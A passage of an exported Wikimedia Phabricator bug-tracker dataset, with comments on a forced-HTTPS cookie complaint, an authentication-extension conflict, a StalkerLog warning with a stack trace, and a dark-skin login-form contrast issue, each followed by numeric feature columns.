And trying to remove the ""forcedHTTPS"" cookies kills all my logins and i can no longer log in and then i'm forced to delete all my cookies related to ""centralauth"" and then i have toi manually log oint oall wikis one by one by visiting them...I sometimes edit over 40 different wikis a day, this is very very very irritating..please find a fix fast, Allow users the option to OPT-OUT of https......FGS!!..."
314249,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","**cometstyles** wrote:

I figured login.wikimedia.org was the ""global special:preference"" and changing it there would affect all wikis..it could be a good idea to make it the Global Preference panel for wikimedians..Wikia has a global option on their wikis, I wonder why we are so behind...",,,1408027934,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,False,,,-46,True,2.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,2.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,8.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,3.0,0.0,11.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,4.049180327868853,0.7868852459016393,"**cometstyles** wrote:

I figured login.wikimedia.org was the ""global special:preference"" and changing it there would affect all wikis..it could be a good idea to make it the Global Preference panel for wikimedians..Wikia has a global option on their wikis, I wonder why we are so behind..."
314245,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","login.wikimedia.org really should never be visited by end users, and users don't have edit rights there. That is why they can't edit any preferences.

The preference on loginwiki has almost no impact on your use of https on other wikis (unless you're actually putting in your username and password there). It will enforce that the actual login handshake (which is uncachable anyway, since we're logging you in) goes over https if you're not from China/Iran.

I think the issue Cometstyles is hitting is that logging into a project that didn't have the preference set (ie., zh.wikipedia.org), and we set the forceHTTPS cookie at the top-level domain for the project (.wikipedia.org), so other wikis in project would start redirecting to https, even though their cookies are good for both http and https.

The fix for this is either a global preference, which unfortunately we don't have yet. Or we set forceHTTPS per wiki, which was actually the original design, but was changed a while back because it makes it really hard to usefully examine your cookies.",,,1407793579,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,True,,,-47,True,0.3333333333333333,0.0,0.0,0.6666666666666666,1.6666666666666667,3.6666666666666665,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,2.3333333333333335,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,7.666666666666667,9.333333333333334,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,6.333333333333333,0.3333333333333333,1.3333333333333333,0.0,2.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,12.666666666666666,1.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,3.6666666666666665,3.3333333333333335,3.0,3.3333333333333335,7.666666666666667,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,6.0,9.333333333333334,3.6666666666666665,0.0,0.0,0.0,6.0,0.0,2.0,1.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,4.134389671361503,0.7895148669796557,"login.wikimedia.org really should never be visited by end users, and users don't have edit rights there. That is why they can't edit any preferences.

The preference on loginwiki has almost no impact on your use of https on other wikis (unless you're actually putting in your username and password there). It will enforce that the actual login handshake (which is uncachable anyway, since we're logging you in) goes over https if you're not from China/Iran.

I think the issue Cometstyles is hitting is that logging into a project that didn't have the preference set (ie., zh.wikipedia.org), and we set the forceHTTPS cookie at the top-level domain for the project (.wikipedia.org), so other wikis in project would start redirecting to https, even though their cookies are good for both http and https.

The fix for this is either a global preference, which unfortunately we don't have yet. Or we set forceHTTPS per wiki, which was actually the original design, but was changed a while back because it makes it really hard to usefully examine your cookies."
314239,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","So the request is that the by-default-enabled setting ""Always use a secure connection when logged in"" on https://login.wikimedia.org/wiki/Special:Preferences should not be greyed out?

Wondering why it's greyed out - Chris, do you know?

Also see https://meta.wikimedia.org/wiki/HTTPS#Disabling for general info.",,,1407606048,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,True,,,-47,True,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,2.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,13.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,13.0,2.0,4.0,4.0,0.0,4.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,3.519230769230769,0.8269230769230769,"So the request is that the by-default-enabled setting ""Always use a secure connection when logged in"" on URL should not be greyed out?

Wondering why it's greyed out - Chris, do you know?

Also see URL for general info."
70962,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"In master.

--------------------------
**Version**: master
**Severity**: major",Lowest,10.0,1406850420,1409064658.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_description,resolved,True,c3,1,True,False,True,-48,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.5238095238095238,"In master.

--------------------------
**Version**: master
**Severity**: major"
320810,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"Change 151444 merged by jenkins-bot:
Check if wgAuth is set correctly

https://gerrit.wikimedia.org/r/151444",,,1409061451,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.235294117647059,1.0,"Change 151444 merged by jenkins-bot:
Check if wgAuth is set correctly

GERRIT_URL"
320805,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"Change 151444 had a related patch set uploaded by Florianschmidtwelzow:
Check if wgAuth is set correctly

https://gerrit.wikimedia.org/r/151444",,,1407094765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,20.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.1,0.95,"Change 151444 had a related patch set uploaded by Florianschmidtwelzow:
Check if wgAuth is set correctly

GERRIT_URL"
320801,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"(In reply to Florian from comment #1)
> @Nemo: in installation process (db update) or in ""normal"" use?

IIRC this was upon running update.php right after install and I didn't find instructions about additional requirements.",,,1406906913,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,19.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.4375,1.0,"(In reply to Florian from comment #1)
QUOTE

IIRC this was upon running update.php right after install and I didn't find instructions about additional requirements."
320795,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"Will set to invalid. Reason:

- Auth_remoteuser uses wgAuth, GoogleLogin, too (both are authentication Extensions, using wgAuth). It's impossible to use two Auth extensions at the same time, to my knowledge.

- It's not a normal use case, that a user has two Authentication plugins installed, so i don't see a reason to remove the automatical registration of GoogleLoignAuth in wgAuth (if there is any, say and i change it ;)).

Feel free to reopen, if you think, that this isn't correct :)",,,1406906867,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_subcomment,,True,c3,1,True,,,-48,True,1.0,0.0,0.0,0.0,2.5,5.5,1.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,1.0,2.5,0.0,4.0,9.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,4.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.5,7.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,7.0,3.5,1.0,6.0,0.0,2.0,0.0,0.0,4.5,1.0,1.5,0.0,5.0,9.0,2.5,0.0,0.0,0.0,5.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,3.8055555555555554,0.787037037037037,"Will set to invalid. Reason:

- Auth_remoteuser uses wgAuth, GoogleLogin, too (both are authentication Extensions, using wgAuth). It's impossible to use two Auth extensions at the same time, to my knowledge.

- It's not a normal use case, that a user has two Authentication plugins installed, so i don't see a reason to remove the automatical registration of GoogleLoignAuth in wgAuth (if there is any, say and i change it ;)).

Feel free to reopen, if you think, that this isn't correct :)"
320788,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"@Nemo: in installation process (db update) or in ""normal"" use?",,,1406905034,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6875,0.875,"SCREEN_NAME: in installation process (db update) or in ""normal"" use?"
70717,"[StalkerLog] Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;}","Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;} in /srv/vagrant/mediawiki/includes/Message.php on line 934

Call Stack:
    0.0006     253272   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
   19.6050   51193712   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
   19.6050   51206200   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
  127.4282  273527048   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
  127.4901  273844016   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
  128.2664  273846256   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 1692.9132  488462368   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 1708.7517  476635896   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
 1708.7517  476635896   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
 1708.7552  476635552  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
 1708.7553  476635552  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
 1708.7554  476636496  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
 1713.1958  477058840  13. PHPUnit_Framework_TestCase->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:838
 1713.1958  477059600  14. ReflectionMethod->invokeArgs() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
 1713.1958  477059872  15. ApiLoginTest->testRunLogin() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
 1713.2243  477182720  16. ApiTestCase->doApiRequest() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiLoginTest.php:173
 1713.2255  477303800  17. ApiMain->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiTestCase.php:99
 1713.2255  477303864  18. ApiMain->executeAction() /srv/vagrant/mediawiki/includes/api/ApiMain.php:332
 1713.2372  477310864  19. ApiLogin->execute() /srv/vagrant/mediawiki/includes/api/ApiMain.php:907
 1713.2576  477324664  20. wfRunHooks() /srv/vagrant/mediawiki/includes/api/ApiLogin.php:95
 1713.2576  477324720  21. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
 1715.5685  477329808  22. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:207
 1715.5685  477330344  23. wfStalkerLogin() /srv/vagrant/mediawiki/includes/Hooks.php:207
 1715.5686  477331968  24. LogPage->addEntry() /srv/vagrant/mediawiki/extensions/StalkerLog/StalkerLog.php:44
 1715.8277  477364768  25. LogFormatter->getIRCActionText() /srv/vagrant/mediawiki/includes/logging/LogPage.php:493
 1715.8277  477364880  26. LogFormatter->getPlainActionText() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:329
 1715.8277  477364880  27. LogFormatter->getActionText() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:156
 1715.8277  477364880  28. LegacyLogFormatter->getActionMessage() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:344
 1715.8278  477365320  29. LogPage::actionText() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:724
 1715.8278  477367504  30. Message->escaped() /srv/vagrant/mediawiki/includes/logging/LogPage.php:326
 1715.8279  477367592  31. Message->toString() /srv/vagrant/mediawiki/includes/Message.php:766
 1715.8382  477368216  32. Message->replaceParameters() /srv/vagrant/mediawiki/includes/Message.php:673
 1715.8383  477368664  33. Message->extractParam() /srv/vagrant/mediawiki/includes/Message.php:895
 1715.8383  477368960  34. trigger_error() /srv/vagrant/mediawiki/includes/Message.php:934

--------------------------
**Version**: master
**Severity**: normal",Lowest,10.0,1406538240,1413845235.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-zhlqqnvadie2nx2bth5u,task_description,resolved,True,c3,1,True,False,True,-49,True,0.0,0.0,0.0,0.0,0.0,0.5555555555555556,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.222222222222221,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.333333333333334,0.0,0.0,0.3333333333333333,22.333333333333332,0.0,0.2222222222222222,0.0,0.0,0.0,0.0,0.0,0.0,0.8888888888888888,0.0,0.0,0.3333333333333333,4.96256038647343,0.37439613526570054,"Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;} in /srv/vagrant/mediawiki/includes/Message.php on line 934

Call Stack:
    0.0006     253272   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
   19.6050   51193712   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
   19.6050   51206200   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
  127.4282  273527048   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
  127.4901  273844016   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
  128.2664  273846256   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 1692.9132  488462368   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 1708.7517  476635896   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
 1708.7517  476635896   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
 1708.7552  476635552  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
 1708.7553  476635552  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
 1708.7554  476636496  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
 1713.1958  477058840  13. PHPUnit_Framework_TestCase->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:838
 1713.1958  477059600  14. ReflectionMethod->invokeArgs() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
 1713.1958  477059872  15. ApiLoginTest->testRunLogin() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
 1713.2243  477182720  16. ApiTestCase->doApiRequest() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiLoginTest.php:173
 1713.2255  477303800  17. ApiMain->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiTestCase.php:99
 1713.2255  477303864  18. ApiMain->executeAction() /srv/vagrant/mediawiki/includes/api/ApiMain.php:332
 1713.2372  477310864  19. ApiLogin->execute() /srv/vagrant/mediawiki/includes/api/ApiMain.php:907
 1713.2576  477324664  20. wfRunHooks() /srv/vagrant/mediawiki/includes/api/ApiLogin.php:95
 1713.2576  477324720  21. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
 1715.5685  477329808  22. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:207
 1715.5685  477330344  23. wfStalkerLogin() /srv/vagrant/mediawiki/includes/Hooks.php:207
 1715.5686  477331968  24. LogPage->addEntry() /srv/vagrant/mediawiki/extensions/StalkerLog/StalkerLog.php:44
 1715.8277  477364768  25. LogFormatter->getIRCActionText() /srv/vagrant/mediawiki/includes/logging/LogPage.php:493
 1715.8277  477364880  26. LogFormatter->getPlainActionText() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:329
 1715.8277  477364880  27. LogFormatter->getActionText() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:156
 1715.8277  477364880  28. LegacyLogFormatter->getActionMessage() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:344
 1715.8278  477365320  29. LogPage::actionText() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:724
 1715.8278  477367504  30. Message->escaped() /srv/vagrant/mediawiki/includes/logging/LogPage.php:326
 1715.8279  477367592  31. Message->toString() /srv/vagrant/mediawiki/includes/Message.php:766
 1715.8382  477368216  32. Message->replaceParameters() /srv/vagrant/mediawiki/includes/Message.php:673
 1715.8383  477368664  33. Message->extractParam() /srv/vagrant/mediawiki/includes/Message.php:895
 1715.8383  477368960  34. trigger_error() /srv/vagrant/mediawiki/includes/Message.php:934

--------------------------
**Version**: master
**Severity**: normal"
309121,"[StalkerLog] Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;}","Change 151093 merged by jenkins-bot:
Fix Warning: Invalid parameter for message

https://gerrit.wikimedia.org/r/151093",,,1413844892,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhlqqnvadie2nx2bth5u,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,0.9444444444444444,"Change 151093 merged by jenkins-bot:
Fix Warning: Invalid parameter for message

GERRIT_URL"
309115,"[StalkerLog] Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;}","Change 151093 had a related patch set uploaded by Florianschmidtwelzow:
Fix Warning: Invalid parameter for message

https://gerrit.wikimedia.org/r/151093",,,1406906045,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhlqqnvadie2nx2bth5u,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,0.9523809523809523,"Change 151093 had a related patch set uploaded by Florianschmidtwelzow:
Fix Warning: Invalid parameter for message

GERRIT_URL"
309109,"[StalkerLog] Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;}","Need to be verified, but first thought:
Missing parameter in messages:
https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FStalkerLog/a4d4977bd1b9de43247a6b453450f21ba5aa5235/i18n%2Fde.json

If no-one did this, i will do it later when i'm at my computer.",,,1406893843,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-zhlqqnvadie2nx2bth5u,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,8.0,0.0,8.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,11.0,3.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.1621621621621623,0.8918918918918919,"Need to be verified, but first thought:
Missing parameter in messages:
URL

If no-one did this, i will do it later when i'm at my computer."
66734,Login form hard to read on dark skins,"`.mw-ui-vform > div label` specifies an explicit dark color. On dark skins this means the contrast becomes low and in the worst case (the skin isn't using an absolute black) becomes illegible.

This case isn't fixed by simply applying an explicit color somewhere so we'll probably have to create a new 'dark' common/skinning module.

--------------------------
**Version**: 1.24rc
**Severity**: enhancement
**See Also**:
